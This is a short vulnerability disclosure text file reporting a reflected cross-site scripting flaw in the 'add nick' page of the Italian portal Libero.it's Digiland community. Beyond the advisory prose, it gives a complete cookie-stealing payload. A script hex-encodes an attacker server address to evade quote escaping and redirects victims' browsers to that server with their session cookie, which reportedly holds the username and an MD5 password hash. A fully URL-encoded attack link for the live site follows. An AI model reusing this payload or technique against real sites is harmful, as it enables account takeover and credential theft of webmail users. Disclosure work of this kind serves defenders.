libero-xss.txt

`Libero.it, one of the most important italian ISP (www.libero.it) is affected from a XSS vulnerability.  
The vulnerability can be found in the "Community" section of Libero portal, and the affected functionality is "add nick" ( http://digiland.libero.it/profilo.phtml?nick=).  
The implementation of this functionality allows the injection of malicious code in the URL, so that an attacker can steal username and password of the victim accessing his cookie.   
  
The normal URL would be something linke this:  
  
http://digiland.libero.it/profilo.phtml?nick=mickey  
  
where "mickey" is the name of the nick i'd like to add to mu buddy list.  
  
Trough a simple XSS locator can be found that the page is vulnerable to the XSS vector:  
http://digiland.libero.it/profilo.phtml?nick=%3cIMG%20SRC=javascript:alert(document.cookie )>  
  
The cookie showed contains the victim username and password (used for both the Community and the Webmail): the username is stored   
in plain text while the password is hashed with md5 algorithm (most password are 5-6 char long and can be decrypted using md5-rainbowtables method)   
  
A more crafted URL makes possible to automatically post victim cookies to a remote server.  
  
A simple parsing of the URL is done by the web application, so that quote and double-quote (' and ") chars are escaped by putting a \ before of them (both using ASCII and URL encoding).  
So it's a bit tricky to pass in the XSS URL the remote server URL and the cookie.   
This control can be avoided by constructing the remote server URL from inside the web application logic  
  
- the attacker remote base url is encoded using URL encoding and the % char is removed: (http://82.53.175.227:8080/sample/hello?c= -->   
  
687474703A2F2F38322E35332E3137352E3232373A383038302F73616D706C652F68656C6C6F3F633D)  
  
- the following script can be easily attached to the webapp url:  
  
  
<script>  
c=document.cookie;  
pcent=/%/.source;  
str=/687474703A2F2F38322E35332E3137352E3232373A383038302F73616D706C652F68656C6C6F3F633D/.source;  
temp=str.substring(0,0);  
for(i=0;i<str.length;i+=2){temp+=pcent+str.substring(i,i+2)};   
tot=unescape(temp)+c;  
document.location.href=tot;  
</script>  
  
(on some browser the "eval()" method must be applied on "tot")  
  
- the so composed script is URL encoded and attached to the webapp URL:  
http://digiland.libero.it/profilo.phtml?nick=%3C%73%63%72%69%70%74%3E%0D%0A%63%3D%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3B%0D%0A%70%63%65%6E%74%3D%2F%25%2F%2E%73%6F%75%72%63%65%3B%0D%0A%73%74%72%3D%2F%36%38%37%34%37%34%37%30%33%41%32%46%32%46%33%38%33%32%32%45%33%35%33%33%32%45%33%31%33%37%33%35%32%45%33%32%33%32%33%37%33%41%33%38%33%30%33%38%33%30%32%46%37%33%36%31%36%44%37%30%36%43%36%35%32%46%36%38%36%35%36%43%36%43%36%46%33%46%36%33%33%44%2F%2E%73%6F%75%72%63%65%3B%0D%0A%74%65%6D%70%3D%73%74%72%2E%73%75%62%73%74%72%69%6E%67%28%30%2C%30%29%3B%0D%0A%66%6F%72%28%69%3D%30%3B%69%3C%73%74%72%2E%6C%65%6E%67%74%68%3B%69%2B%3D%32%29%7B%74%65%6D%70%2B%3D%70%63%65%6E%74%2B%73%74%72%2E%73%75%62%73%74%72%69%6E%67%28%69%2C%69%2B%32%29%7D%3B%0D%0A%74%6F%74%3D%75%6E%65%73%63%61%70%65%28%74%65%6D%70%29%2B%63%3B%0D%0A%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%2E%68%72%65%66%3D%74%6F%74%3B%0D%0A%3C%2F%73%63%72%69%70%74%3E   
  
Greetings,  
  
Rosario Valotta  
`